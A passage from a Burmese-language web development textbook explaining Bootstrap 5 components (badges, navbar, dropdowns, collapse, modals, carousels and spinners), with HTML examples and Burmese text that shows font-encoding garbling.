… 
</ul>

တူညီတဲ့ပံုစံနဲ့ပဲအလုပ်လုပ်dပမယ့်  Tab UI  ပံုစံdတာ့ မဟုတ်dတာ့ပါzူး။  Item dလးdတွက dထာင့်dကွး
Pill Box dလးdတွပံုစံ goစ်သွားတာပါ။ 
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ဒီdနရာမှာ  သတိgပုရမှာကdတာ့၊  လက်ရှိdလ့လာdနတာဟာ  Tab  UI  dတွ  Pill  UI  dတွရဲ့  doာ်gပပုံ
အသွင်အgပင်ကိုသာ  dလ့လာdနgခင်းgoစ်ပါတယ်။  လက်dတွ့အလုပ်လုပ်oုိ့ကdတာ့  JavaScript  နဲ့
ဆက်စပ် နည်းပညာdတွ လုိအပ်ပါdသးတယ်။ CSS ချည်းသက်သက်နဲ့ အလုပ်လုပ်မှာ မဟုတ်ပါzူး။

Badge
တစ်လက်စထဲ  Notification  dတွမှာ  dတွ့ ရdလ့ရှိပြပီး  Count  အdရအတွက်  doာ်gပရာမှာသံုးdလ့ရှိတဲ့
Component  dလးတစ်ခုကို  ဆက်eကည့်eကပါမယ်။  Bootstrap  က  Badge  လ့ုိdခါ်ပါတယ်။ စမ်းလက်စ
Tab နဲ့ အခုလုိတွဲပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 HTML 
<ul class="nav nav-tabs">

<li class="nav-item">
<a href="#" class="nav-link active">

All User
<span class="badge bg-primary rounded-pill">20</span>

</a>
</li>
… 

</ul>

<span> Element  မှာ  badge  Class  သံုးdပးလုိက်တာပါ။  အdရာင်အတွက်  bg နဲ့အတူ  နှစ်သက်ရာ
Color Class  ကို  တွဲသံုးနိုင်ပါတယ်။ နမူနာမှာdပးထားတဲ့  rounded-pill ကdတာ့ ပုိဝိုင်းသွားdအာင်
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ထည့်dပးထားတာပါ။  မထည့်လည်းရပါတယ်။  rounded-pill မပါရင်dတာ့  doာ်gပပံုက  နည်းနည်း
dလးdထာင့် ပုိဆန်dနမှာပါ။ မိမိနှစ်သက်ရာကို အသံုးgပုနိုင်ပါတယ်။ သူ့doာ်gပပံုက ဒီလုိgoစ်မှာပါ –

ဒါdလးကလည်း အdသးအoဲွ့dလးdပမယ့် အသံုးဝင်တဲ့ လုပ်dဆာင်ချက်တစ်ခု goစ်ပါတယ်။

Navbar or Menubar
ဒီအခန်းမှာ  dလ့လာမယ့်  Component  dတွထဲမှာ  dနာက်ဆုံးတစ်ခုအdနနဲ့  Menubar  အသုံးgပုပံုကို
dလ့လာeကပါမယ်။  Menubar  ဆိုတာ ပdရာZျက်တိုင်းမှာ  လုိအပ်တဲ့လုပ်dဆာင်ချက်တစ်ခု  goစ်ပါတယ်။
Bootstrap  မှာ  Navbar  လ့ုိdခါ်ပါတယ်။ တစ်ကယ်dတာ့  Navbar  ရဲ့  အလုပ်လုပ်ပံု  ပြပီးgပည့်စုံoို့အတွက်
JavaScript လုိပါတယ်။ JavaScript Component dတွအdeကာင်းကို dနာက်တစ်ခန်းကျdတာ့မှ သပ်သပ်
dgပာမှာပါ။ ဒီမှာထည့် မdgပာdသးပါzူး။ ဒါdeကာင့် JavaScript မလုိတဲ့doာ်gပပံုကိုပဲ မှတ်ထားdပးပါ။

Navbar တစ်ခရုရှိo့ုိအတွက် ပင်မ Element မှာ Class (၄) ခု dပးo့ုိ လုိပါတယ်။ navbar, navbar-
expand-{size} navbar-{textcolor}, bg-{color} တို့goစ်ပါတယ်။  နမူနာမှာ  ပင်မ
Element  အdနနဲ့  <nav> ကိုသံုးပါမယ်။  Navigation Menu  goစ်လ့ုိ  <nav> နဲ့ပုိသင့်dတာ်တဲ့အတွက်
<nav> ကို သံုးထားdပမယ့် <div> သံုးရင်လည်း ရပါတယ်။ 
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 HTML 
<nav class="navbar navbar-expand-sm navbar-dark bg-primary">

<div class="container-fluid">
<a href="#" class="navbar-brand">App Title</a>
<ul class="navbar-nav">

<li class="nav-item">
<a href="#" class="nav-link active">Home</a>

</li>
<li class="nav-item">

<a href="#" class="nav-link">About</a>
</li>

</ul>
</div>

</nav>

navbar-expand-{size} အတွက်  navbar-expand-sm လ့ုိdပးထားပါတယ်။  sm ဆိုတာ
Screen  ရဲ့  Size  ကိုdgပာတာပါ။  တgခား  lg, md စသgoင့်  Size  dတရွှိပါdသးတယ်။  Layouts  အခန်း
dရာက်dတာ့မှ  ဒီအdeကာင်းdတွ  dgပာgပပါမယ်။  dလာdလာဆယ်dတာ့  dပးထားတဲ့အတိုင်းပဲ  စမ်းeကည့်
dပးပါ။  စာdတွကို  အgoူdရာင်doာ်gပdစချင်လ့ုိ  navbar-light ကိုသံုးထားပြပီး  dနာက်ခံအdရာင်
အတွက်ကdတာ့ bg နဲ့အတူ ကြကိုက်တဲ့ Color Class ကို တွဲသံုးလ့ုိရပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်က
ဒီလုိgoစ်မှာပါ –



PWD 2022 – အခန်း (၄) – Bootstrap CSS Components 121

အထဲမှာ  container-fluid လ့ုိdပးထားတဲ့  <div> တစ်ထပ်  ပါdသးတာကို  သတိgပုပါ။  အ့ဲဒီ
အdeကာင်းကိုလည်း Layouts အdeကာင်း dgပာdတာ့မှ ရှင်းgပပါမယ်။ အခုdတာ့ dပးထားတဲ့အတိုင်းပဲ စမ်း
eကည့်dပးပါ။ အထဲမှာ  navbar-brand Class  ကိုသုံးထားတဲ့  <a> Element  တစ်ခု ပါပါတယ်။ ကိုယ့်
App ရဲ့အမည်ကိုသတ်မှတ်dပးo့ုိအတွက် သံုးရတဲ့ Class goစ်ပါတယ်။ ဆက်လက်ထည့်သွင်းထားတဲ့ Menu
ရဲ့oဲွ့စည်းပံုကdတာ့  ပြပီးခဲ့တဲ့  Tab  မှာတုံးက  dရးသားပုံနဲ့အတူတူပါပဲ။  nav  nav-tabs အစား
navbar-nav ကိုသံုးdပးရတာတစ်ခုပဲ ကွာမှာgoစ်ပါတယ်။

လက်ရှိdoာ်gပခဲ့သမျှdတွထဲမှာ  အရှုပ်ဆုံး  Component  goစ်ပါတယ်။  ဒါdတာင်  အတတ်နိုင်ဆုံး  မလုိတာ
dတခွျန်ပြပီး  မgoစ်မdန  လုိတာdတွချည်းပဲ  dရွးdပးထားတာပါ။  Navbar  နဲ့ပက်သက်ပြပီး  dနာက်ထပ်
အသံုးဝင်နိုင်တဲ့ လုပ်dဆာင်ချက်ကdတာ့ sticky-top လုပ်dဆာင်ချက်goစ်ပါတယ်။

 HTML 
<nav class="navbar navbar-expand-sm sticky-top navbar-dark bg-primary">

… 
</nav>

တစ်ချ ို ့  App dတွမှာ dတွ့ oူးပါလိမ့်မယ်။  Scroll  ဆွဲလုိက်တဲ့အခါ ဟိုးအdပါ်က Bar  က dပျာက်မသွားzဲ
အdပါ်ဆုံးမှာ  အပြမဲတမ်းdoာ်gပdနတဲ့  လုပ်dဆာင်ချက်မျ ို းပါ။  အ့ဲဒါကို  Sticky  Top  လ့ုိ  dခါ်တာပါ။  စမ်း
eကည့်နိုင်o့ုိအတွက် CSS နည်းနည်း dရးထည့်dပးရပါမယ်။
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နမူနာ  body ရဲ့  height ကို  2000px လ့ုိdပးလုိက်တဲ့အတွက်  Screen  မှာ မဆန့်dတာ့လ့ုိ  Scrollbar
dပါ်လာပါလိမ့်မယ်။ Scroll  ဆွဲeကည့်လုိက်ရင် Navbar က dပျာက်မသွားzဲ dနရာမှာအပြမဲတမ်း ရှိdနတာ
ကို dတွ့ရမှာ goစ်ပါတယ်။

အခုဆိုရင် ဒီအခန်းမှာdoာ်gပချင်တဲ့ Component dတွစုံသွားပါပြပီ။ ဒီdလာက်dလ့လာမိပြပီဆိုရင် Bootstrap
ရဲ့ အကူအညီနဲ့ လက်dတွ့အသံုးဝင်တဲ့ App UI dတွကို gမန်gမန်ဆန်ဆန်နဲ့ အလွယ်တစ်ကူ ရရှိနိုင်တယ်ဆို
တာကို  သတိgပုမိdလာက်ပါပြပီ။  တစ်ချ ို ့  အသုံးနည်းတဲ့  Component  dတွdတာ့  ချန်ထားခဲ့ပါတယ်။  မ
လုိအပ်zဲ မှတ်စရာdတွ များပြပီး  dရာကုန်မှာစိုးလို့ပါ။  ဒီdလာက် အစ ရသွားပြပီဆိုရင် ကျန်dနတာdတွက
ကိုယ့်zာသာ ဆက်eကည့်သွားလို့ ရdနပါပြပီ။

JavaScript  နဲ့တွဲသံုးo့ုိလုိတဲ့  Component  dတရွှိပါdသးတယ်။  dနာက်တစ်ခန်း  ခွဲပြပီးdတာ့  ဆက်လက်
doာ်gပdပးမှာပါ။  Layouts  နဲ့ပက်သက်တဲ့အdeကာင်းdတွ၊ အသံုးဝင်တဲ့  Utility Classes  အdeကာင်းdတွနဲ့
Icons  dတွအdeကာင်းလည်း dgပာo့ုိကျန်ပါdသးတယ်။ dနာက်အခန်းdတွမှာ သ့ူdနရာနဲ့သူ ဆက်ပြပီးdတာ့
doာ်gပdပးသွားပါမယ်။
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အခန်း (၅) – Bootstrap JavaScript Components

Bootstrap မှာ JavaScript ကို အသံုးgပုထားတဲ့  Components dတွ ပါပါတယ်။ JavaScript အdeကာင်း
ကို  dနာက်တစ်ပုိင်းကျမှ dလ့လာeကမှာပါ။ ဒါdပမယ့် အခုမသိdသးရင်လည်း ကိစ္စမရှိပါzူး။  Bootstrap
က JavaScript    ကုဒ်dတွ dရးစရာမလိုzဲ သ့ူရဲ့    JavaScript Components    dတွကို အသံုးgပုလို့  ရdအာင်  
စီစဉ်dပးထားပါတယ်။  ပထမဆုံးအdနနဲ့  JavaScript  Component  dတွကို  စမ်းသပ်အသံုးgပုနိုင်oုိ့
Bootstrap  JavaScript  oုိင်ကို  CDN  ကdန ချတိ်dပးo့ုိ  လုိပါလိမ့်မယ်။  CSS  တုံးကလုိပဲ  Codepen  ရဲ့
Setting ထဲက JS Section မှာ ထည့်ထားdပးလုိက်ရင် ရပါတယ်။ External Scripts မှာ ဒီလိပ်စာကို ထည့်
dပးရမှာပါ။

https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/
bootstrap.bundle.min.js
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Setting ထဲမှာ မထည့်zဲ HTML ကုဒ်ထဲမှာ ထည့်သုံးချင်ရင် အခုလိုထည့်လ့ုိရပါတယ်။

 HTML 
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/ 
dist/js/bootstrap.bundle.min.js"></script>

<script> Element ရဲ့ src Attribute တန်oုိးမှာ CDN oုိင်လိပ်စာကို dပးလုိက်ရတာပါ။

oုိင်အမည်က bootstrap.bundle.min.js ပါ။ Bundle ဆိုတဲ့အသုံးအနှုန်း အdeကာင်းdလး ထည့်
dgပာချင်ပါတယ်။  Bootstrap  အလုပ်လုပ်oုိ့အတွက်  အရင်  Bootstrap  Version  dတွမှာ  JavaScript
Library  နှစ်ခုလုိပါတယ်။  jQuery  နဲ့  Popper  လ့ုိdခါ်eကတဲ့  နည်းပညာdတွပါ။  Bootstrap  5  မှာdတာ့
jQuery မလိုအပ်dတာ့ပါzူး။ ဒါdပမယ့် Popper dတာ့ လုိပါdသးတယ်။ တစ်ကယ်တမ်း ထည့်မယ်ဆိုရင်
Popper  နဲ့  Bootstrap  ဆိုပြပီး oုိင်နှစ်ခု ထည့်ရမှာပါ။ ဒီdတာ့မှ gပည့်စုံပြပီး အလုပ်လုပ်မှာပါ။ အ့ဲဒါကို နှစ်ခု
ထည့်စရာမလုိzဲ  တစ်ခုထဲနဲ့  ပြပီးသွားdအာင်  Bootstrap  က  Bundle  ဆိုပြပီး  dပါင်းdပးထားပါတယ်။ ဒါ
deကာင့် Bundle   oုိင်ကိုသုံးလုိက်ရင်   Bootstrap   အgပင်   Popper   ပါ တစ်ခါထဲ ပါဝင်သွားတယ်   လ့ုိ နားလည်
ရမှာ goစ်ပါတယ်။ 

- https://getbootstrap.com/

Dropdowns
JavaScript  Component  dတွထဲမှာ  ပထမဆုံးdလ့လာချင်တာကdတာ့  Dropdown  goစ်ပါတယ်။  နှိပ်
လုိက်dတာ့မှ dပါ်လာတဲ့ Menu dလးdတွပါ။ နှိပ်ရတဲ့ခလုပ်အdနနဲ့ <button> <a> စသgoင့် ကြကိုက်တဲ့
Element နဲ့တွဲသုံးလ့ုိရပါတယ်။ ဒါdeကာင့် သ့ူကို Menubar လုိ dနရာမျ ို းမှာသာမက နှိပ်လုိက်မှdပါ်လာတဲ့
Menu လုိအပ်တဲ့ မည်သည့်dနရာမှာမဆို သံုးလ့ုိရပါတယ်။ dရးနည်းက ဒီလုိပါ -

https://getbootstrap.com/
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 HTML 
<div class="dropdown">

<button class="btn btn-primary dropdown-toggle" 
  data-bs-toggle="dropdown">Send Now</button>

<ul class="dropdown-menu">
<li><a href="#" class="dropdown-item">Send Now</a></li>
<li><a href="#" class="dropdown-item">Save Draft</a></li>
<li><a href="#" class="dropdown-item">Preview</a></li>

</ul>
</div>

သံုးရတဲ့  Class  နည်းနည်းများပါတယ်။  ပထမဆုံးအdနနဲ့  ပင်မ  Element  မှာ  dropdown Class  ကို
သတ်မှတ်dပးရပါတယ်။  အထဲမှာ  ခလုပ်တစ်ခုနဲ့  List  တစ်ခုပါပါတယ်။  ခလုပ်အတွက်  dropdown-
toggle Class  ကို  သတ်မှတ်dပးထားပြပီး  List  အတွက်  dropdown-menu ကို  သတ်မှတ်dပးထားပါ
တယ်။ ပြပီးdတာ့မှ List ထဲက <a> Element dတွမှာ dropdown-item Class ကို dပးလုိက်ရင် gပည့်စုံ
သွားပါပြပီ။ ဒါက အသွင်အgပင်ပဲ ရိှပါdသးတယ်။ တစ်ကယ် အလုပ်မလုပ်dသးပါzူး။ နှိပ်လုိက်မှ dပါ်လာတဲ့
အလုပ်ကို  လုပ်dပးo့ုိအတွက်  data-bs-toggle=dropdown ဆိုတဲ့  Attribute  ကိုထည့်dပးရပါ
တယ်။  Bootstrap  က  JavaScript  ကုဒ်dတွ dရးစရာမလိုzဲ  JavaScript Component  dတွကို  သံုးလ့ုိ
ရdအာင် လုပ်dပးတယ်ဆိုတာ အ့ဲဒီလုိ  Attribute  dတွနဲ့  လုပ်dပးထားတာပါ။ ဒီ  Attribute  ပါရင် ကိုယ်
zက်က  ကုဒ်dတွထပ်dရးdပးရာ  မလုိdတာ့zဲ၊  နှိပ်လုိက်ရင်  Dropdown  Menu  ကို  gပရမယ်ဆိုတာ
Bootstrap က သိသွားပါပြပီ။
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ရလဒ်နမူနာမှာ  <hr> Element တစ်ခုကိုသံုးပြပီး  dropdown-divider Class  သတ်မှတ်dပးထားတာ
ကိုလည်း သတိgပုပါ။ ဒီလုိ သတ်မှတ်dပးထားတဲ့အတွက်  Menu အတွင်းမှာ  Item dတွကို ပုိင်းgခားပြပီး gပ
dပးတာကို dတွ့ရပါမယ်။ dနာက်တစ်ခုအdနနဲ့ထပ်စမ်းeကည့်ချင်ရင် Dark Menu ကိုစမ်းeကည့်ပါ။

ကျန်တဲ့ကုဒ်dတွအတူတူပါပဲ  ခလုပ်က  btn-dark goစ်သွားပြပီး  Dropdown Menu  မှာ  dropdown-
menu-dark ဆိုတဲ့  Class  တစ်ခုထပ်ပါသွားတာပါ။  ဒီနည်းနဲ့  Bootstrap  ရဲ့  Dropdown
လုပ်dဆာင်ချက်ကို Menubar dတွ၊ Toolbar dတွ၊ Form dတွနဲ့  တgခားလိုအပ်တဲ့ dနရာdတွမှာ ထည့်သုံး
လ့ုိ ရပါတယ်။

Collapses
Collapse ကလည်း Dropdown နဲ့ ဆင်ပါတယ်။ သူလည်းပဲ နှိပ်လုိက်မှ dပါ်လာမယ့် Component တစ်ခု
ပါပဲ။ Menu မဟုတ်dတာ့zဲ ကြကိုက်တဲ့ Component နဲ့ တွဲသံုးရတာ goစ်သွားပါတယ်။ ဒီလုိပါ –
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 HTML 
<p>

<a class="btn btn-primary" data-bs-toggle="collapse" href="#item">
Link Button

</a>
</p>

<div class="collapse" id="item">
<div class="card card-body">

<h5 class="card-title"></h5>
<p>Some sample content</p>

</div>
</div>

နမူနာမှာ နှိပ်တဲ့ခလုပ်အdနနဲ့ <a> Element တစ်ခုကို သံုးထားပါတယ်။ href မှာ နှိပ်လုိက်ရင် gပရမယ့်
Element ရဲ့ ID ကို dပးထားတာ သတိgပုပါ။ လုိအပ်ပါတယ်။ အကယ်၍ <a> အစား <button> ကိုသံုး
ချင်တယ်ဆိုရင်လည်း  ရပါတယ်။  Button  မှာ  href Attribute  မရှိdပမယ့်  data-bs-target
Attribute ကို အစားထိုးပြပီး သုံးနိုင်ပါတယ်။ နှိပ်လုိက်မှ dပါ်လာdစချင်တဲ့ Element မှာ ID တစ်ခရုှိo့ုိလုိပြပီး
ခလုပ်ကdန ညွှန်းထားတဲ့  ID နဲ့ တူo့ုိလုိပါတယ်။ ပြပီးတဲ့အခါ  collapse Class  ကို သတ်မှတ်dပးထားရ
မှာ goစ်ပါတယ်။ အထဲမှာ ကြကိုက်တာထည့်လ့ုိ ရသွားပါပြပီ။ နမူနာမှာdတာ့  card တစ်ခုကိုထည့်gပထားပါ
တယ်။

သ့ူမှာလည်း  JavaScript  လုပ်dဆာင်ချက်ကို  ရရိှo့ုိအတွက်  data-bs-toggle Attribute  ကိုသုံးထား
တာ သတိgပုပါ။ Dropdown အတွက် data-bs-toggle ကို dropdown လ့ုိသတ်မှတ်dပးခဲ့ရသလုိပဲ
Collapse အတွက်dတာ့ data-bs-toggle ကို collapse လ့ုိသတ်မှတ်dပးရgခင်း goစ်ပါတယ်။

စမ်းeကည့်လုိက်ရင် ရလဒ်က အခုလုိရရှိမှာ goစ်ပါတယ်။
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သူလည်းပဲ dတာ်dတာ်အသံုးဝင်ပါတယ်။ အတိုdကာက် Summary dလးပဲ gပထားပြပီး ခလုပ်နှိပ်လုိက်dတာ့
မှ Detail အgပည့်အစုံ dပါ်လာတယ် ဆိုတဲ့ လုပ်dဆာင်ချက်မျ ို းက မeကာမeကာ လုိအပ်တတ်ပါတယ်။ အ့ဲဒီ
လုိ လုိအပ်လာတဲ့အခါ Collapse Components dတွကို အသံုးgပုနိုင်မှာပါ။

Modals
ဆက်လက်dလ့လာမှာကdတာ့ Modal Component goစ်ပါတယ်။ သူလည်းပဲ နှိပ်မှdပါ်မယ့် အရာတစ်ခုပါ
ပဲ။ သူကdတာ့ Dialog Box တစ်ခုအdနနဲ့ Page တစ်ခုလံုးdပါ်မှာ oံုးလွှမ်းပြပီး doာ်gပမယ့် လုပ်dဆာင်ချက်
ပါ။ dရးရမယ့်ကုဒ်dတာ့ နည်းနည်းများပါတယ်။ များလွန်းလ့ုိ မျက်စိမလည်ရdအာင် အတတ်နိုင်ဆုံး dgပာ
gပdပးပါမယ်။ Zရုစိုက်eကည့်dပးပါ။

 HTML 
<button class="btn btn-primary"
        data-bs-toggle="modal" 
        data-bs-target="#feedback">Show Modal</button>
<div class="modal" id="feedback">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Feedback</h5>
                <button class="btn-close" 
                        data-bs-dismiss="modal"></button>

  </div>
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  <div class="modal-body">
<textarea class="form-control"></textarea>

  </div>
  <div class="modal-footer">

<button class="btn btn-secondary">
                     Send Feedback</button>

  </div>
</div>

</div>
</div>

data-bs-toggle မှာ  modal လ့ုိသတ်မှတ်ထားတဲ့ခလုပ်တစ်ခုပါပါတယ်။  ဒါdeကာင့်သူ့ကိုနှိပ်ရင်
Modal  Dialog  ကို  gပdပးမှာပါ။  data-bs-target နဲ့  gပရမယ့်  Modal  ရဲ့  ID  ကိုညွှန်းdပးထားတာ
သတိgပုပါ။

ပြပီးတဲ့အခါ Modal Dialog Component ကို ဆက်လကd်ရးသားပါတယ်။ Class ကို  modal လ့ုိသတ်မှတ်
ပြပီး အdပါ်ကခလုပ်မှာ ညွှန်းထားတဲ့  ID  နဲ့ တူညီတဲ့  id ကိုdပးထားပါတယ်။ အထဲမှာdတာ့  (၃)  ထပ်goစ်
dနတာကို dတွ့ရပါလိမ့်မယ်။ modal-dialog → modal-content → modal-body တို့goစ်ပါ
တယ်။ modal-header နဲ့ modal-footer တို့ကိုထည့်သံုးလ့ုိ ရတဲ့အတွက် သံုးgပထားပါတယ်။

modal-header အတွင်းထဲမှာ dခါင်းစဉ်အgoစ်doာ်gပdစလုိတဲ့  Element  ကို  modal-title Class
dပးထားတာလည်း သတိgပုပါ။  ပြပီးတဲအခါ  Close Button  တစ်ခုလည်း ပါပါdသးတယ်။  btn-close
Class ကိုသံုးထားပြပီး နှိပ်လိုက်ရင် Modal  ကို ပိတ်dပးdစo့ုိအတွက်  data-bs-dismiss=modal လ့ုိ
လည်း သတ်မှတ်ထားပါdသးတယ်။ ဒါdeကာင့် နှိပ်လုိက်ရင် Modal ကို gပန်ပိတ်dပးသွားမှာပဲgoစ်ပါတယ်။



PWD 2022 – အခန်း (၅) – Bootstrap JavaScript Components 130

Modal Body  ထဲမှာgပတဲ့  Content  ကdတာ့  ကိုယ်ကြကိုက်တာ gပလ့ုိရပါတယ်။ zာgoစ်ရမယ်ဆိုတဲ့  ကန့်
သတ်ချက်မျ ို းမရှိလ့ုိ  ကြကိုက်တဲ့  Component  ကို  ထည့်သံုးနိုင်ပါတယ်။  နမူနာမှာdတာ့  <textarea>
တစ်ခုကို  ထည့်gပထားပါတယ်။  နှိပ်လုိက်လ့ုိdပါ်လာတဲ့အခါ  ဒီအတိုင်းdပါ်မလာzဲ  Animation  Effect
dလးနဲ့ dပါ်လာdစချင်ရင် fade Class ကိုသုံးနိုင်ပါတယ်။ ဒီလုိပါ – 

 HTML 
<button class="btn btn-primary"
        data-bs-toggle="modal" 
        data-bs-target="#feedback">Show Modal</button>
<div class="modal fade" id="feedback">
    …
</div>

ဒါဆိုရင် Modal Dialog Box ကိုgပတဲ့အခါ Fade Effect ကိုသံုးdပးတဲ့အgပင် Box ကအdပါ်ကdန ကျလာ
တဲ့ပံုစံdလးနဲ့ gပdပးမှာgoစ်ပါတယ်။ ကိုယ်တိုင်သာ ထည့်ပြပီးစမ်းeကည့်လုိက်ပါ။
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Carousels
Carousel Components ကိုdတာ့  Slideshow သdzာမျ ို း တစ်ခုပြပီးတစ်ခု dgပာင်းgပတဲ့ လုပ်dဆာင်ချက်
မျ ို း လုိအပ်တဲ့အခါ သံုးနိုင်ပါတယ်။ dရးပံုdရးနည်းက ဒီလုိပါ – 

 HTML 
<div class="carousel slide" data-bs-ride="carousel">

<div class="carousel-inner">
<div class="carousel-item active">

<div class="bg-primary" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-success" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-warning" style="height: 200px"></div>
</div>

</div>
</div>

carousel → carousel-inner → carousel-item ဆိုပြပီးdတာ့  (၃)  ဆင့်ရှိပါတယ်။ ပင်မ
Element မှာပါတဲ့ slide ကdတာ့ Slide Effect အတွက်ပါ။ မထည့်လည်း ရပါတယ်။ မထည့်ရင် Effect
ပါမှာ  မဟုတ်dတာ့ပါzူး။  carousel-item ထဲမှာdတာ့  နမူနာအdနနဲ့  Inline  Style  ကိုသုံးပြပီးdတာ့
height dတွသတ်မှတ်ထားတဲ့ <div> အလွတ်dတွ dပးထားပါတယ်။ active Class ကိုသုံးပြပီး ပထမ
ဆုံးစdပါ်dစချင်တဲ့ Slide Item ကိုသတ်မှတ်ထားတာကိုလည်း dတွ့ရမှာgoစ်ပါတယ်။

data-bs-ride=carousel Attribute  ကို သံုးထားတဲ့အတွက်  Slide Item dတွကို  (၅)  စက္ကန့်eကာ
တိုင်း အလုိအdလျှာက် တစ်ခုdgပာင်းgပတဲ့လုပ်dဆာင်ချက်ကို ရရှိသွားမှာ goစ်ပါတယ်။
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Slide dတွ dရှ့dနာက်dgပာင်းdစချင်ရင် ခလုပ်dတွထည့်လ့ုိရပါတယ်။ ဒီလုိထည့်ရပါတယ်။

 HTML 
<div class="carousel slide" data-bs-ride="carousel" id="slide">

… 
<a href="#slide" class="carousel-control-prev" data-bs-slide="prev">

<span class="carousel-control-prev-icon"></span>
</a>

<a href="#slide" class="carousel-control-next" data-bs-slide="next">
<span class="carousel-control-next-icon"></span>

</a>
</div>

ပင်မ Element မှာ ID ပါသွားတာကို အရင်သတိgပုပါ။ ပြပီးတဲ့အခါ <a> Element dတွနဲ့ အ့ဲဒီ  ID ကိုချတိ်
ပြပီး  Previous,  Next  ခလုပ်dတွ  ထည့်ထားပါတယ်။  ခလုပ်ထဲမှာ  မျှားပံုdလးdတွ  dပါ်dစချင်တဲ့အတွက်
carousel-control Icon  dတွကို ထည့်dပးထားပါတယ်။ ခလုပ်dတွကို နှိပ်လုိက်ရင်  Slide  dgပာင်း
dစo့ုိအတွက် data-bs-slide Attribute ကိုသံုးdပးထားပါတယ်။

ဒီလုိ  Slide  Carousel  Component  dတွမှာ  Indicator  ဆိုတဲ့လုပ်dဆာင်ချက်လည်း  ပါdလ့ရှိပါတယ်။
လက်ရှိ zယ် Slide ကို dရာက်dနပြပီလဲဆိုတာကို gပdပးတဲ့ လုပ်dဆာင်ချက်ပါ။ ဒီလုိထည့်dပးရပါတယ်။
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 HTML 
<div class="carousel slide" data-bs-ride="carousel" id="slide">

<ol class="carousel-indicators">
<li data-bs-target="#slide" data-bs-slide-to="0" 
    class="active"></li>
<li data-bs-target="#slide" data-bs-slide-to="1"></li>
<li data-bs-target="#slide" data-bs-slide-to="2"></li>

</ol>

… 
</div>

နံပါတ်စဉ်  1, 2, 3  အစီအစဉ်အတိုင်းgပမယ့်သdzာမ့ုိလို့  <ol> Element ကိုသုံးထားပါတယ်။ <ul> သံုး
လည်း ရdတာ့ရပါတယ်။ carousel-indicators Class သတ်မှတ်dပးပြပီး အထဲက <li> Element
dတွမှာ  data-bs-target နဲ့  ID  ကို  ချတိ်dပးရတာပါ။  သူတို့ကို  နှိပ်ရင်လည်း နှိပ်လ့ုိရdစo့ုိအတွက်
data-bs-slide-to နဲ့ နှိပ်လုိက်ရင် gပရမယ့် Slide နံပါတ်ကို သတ်မှတ်dပးထားနိုင်ပါတယ်။

နမူနာရလဒ်မှာ dရှ့dနာက် Previous, Next သွားလ့ုိရတဲ့ မျှားdလးdတွနဲ့ dအာက်နားမှာ Indicator dလး
dတွကို dတွ့gမင်ရမှာgoစ်ပါတယ်။ အားလံုးက နှိပ်ရင်အလုပ်လုပ်တဲ့ လုပ်dဆာင်ချက်dလးdတွ goစ်ပါတယ်။
ကိုယ်တိုင်စမ်းသပ်ရတာ အဆင်dgပdစo့ုိ ကုဒ်အgပည့်အစုံကို ထပ်ပြပီးdတာ့ doာ်gပdပးလုိက်ပါတယ်။
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 HTML 
<div class="carousel slide" data-bs-ride="carousel" id="slide">

<ol class="carousel-indicators">
<li data-bs-target="#slide" data-bs-slide-to="0" 
    class="active"></li>
<li data-bs-target="#slide" data-bs-slide-to="1"></li>
<li data-bs-target="#slide" data-bs-slide-to="2"></li>

</ol>

<div class="carousel-inner">
<div class="carousel-item active">

<div class="bg-primary" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-success" style="height: 200px"></div>
</div>
<div class="carousel-item">

<div class="bg-warning" style="height: 200px"></div>
</div>

</div>
<a href="#slide" class="carousel-control-prev" data-bs-slide="prev">

<span class="carousel-control-prev-icon"></span>
</a>
<a href="#slide" class="carousel-control-next" data-bs-slide="next">

<span class="carousel-control-next-icon"></span>
</a>

</div>

dရးရတာများdပမယ့်  အားလံုးကသ့ူအဓိပ္ပါယ်dလးdတွနဲ့  သူမ့ုိလ့ုိ  မှတရ်dတာ့  မခက်လှပါzူး။  ချက်gခင်း
အကုန်မှတ်မိo့ုိ မလွယ်dပမယ့် နမူနာ နှစ်ခုသံုးခုdလာက် dရးစမ်းလုိက်ရင်dတာ့ မှတ်မိသွားမှာပါ။ အခုလုိ
gပည့်စုံတဲ့  လုပ်dဆာင်ချက်တစ်ခုကို  ကိုယ့်zာသာလုပ်စရာမလုိzဲ၊  အလွယ်တစ်ကူ  အသံုးချခွင့်ရတာဟာ
dတာ်dတာ် အသံုးဝင်တာပါ။
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Spinners
ဒီအခန်းမှာ  doာ်gပချင်တဲ့  JavaScript  Component  dတွထဲမှာ  dနာက်ဆုံးတစ်ခုအdနနဲ့  Loading
Spinners  အdeကာင်းကို eကည့်eကပါမယ်။ တစ်ခုခု  Loading  လုပ်dနစဉ်မှာ အဝုိင်းdလး လည်dနတာမျ ို း
ကို dတွ့oူးeကပြပီးသားပါ။ Bootstrap မှာ အ့ဲဒီလုိ Spinner dတွကို အလွယ်တစ်ကူ ထည့်လ့ုိရပါတယ်။

 HTML 
<span class="spinner-border text-primary"></span>
<span class="spinner-border text-success"></span>
<span class="spinner-border text-warning"></span>

spinner-border Class ကိုသုံးdပးလုိက်ရင် လုိချင်တဲ့ Spinner ရdနပါပြပီ။ အdရာင်dgပာင်းချင်ရင်သာ
text-{color} Class  dတွနဲ့  တဲွသုံးo့ုိ လုိတာပါ။ တစ်ကယ်dတာ့သူက dတာ်dတာ်ရှင်းပါတယ်။  CSS
Components  dတွထဲမှာ ထည့်dgပာခဲ့ရင်dတာင် ရပါတယ်။ ဒါdပမယ့်  JavaScript  နဲ့တွဲအသံုးများလ့ုိသာ
အခုမှ ထည့်dgပာလုိက်တာပါ။ 

နမူနာရလဒ်မှာ  <button> တစ်ခုနဲ့လည်း တွဲသံုးgပထားပါတယ်။  Button  ကို  နှိပ်လိုက်တဲ့အခါ အလုပ်
လုပ်dနစဉ်  Button  ကို  Disable  ခဏနေလုပ်ပြပီး  Loading  gပeကတာ ထံုးစံမ့ုိလ့ုိပါ။  ဒါdeကာင့်  <button>
Element မှာ disabled Attribute ပါတာကို သတိgပုပါ။  disabled Attribute က Bootstrap နဲ့ မ
ဆိုင်ပါzူး။ HTML Attribute တစ်ခုgoစ်ပါတယ်။
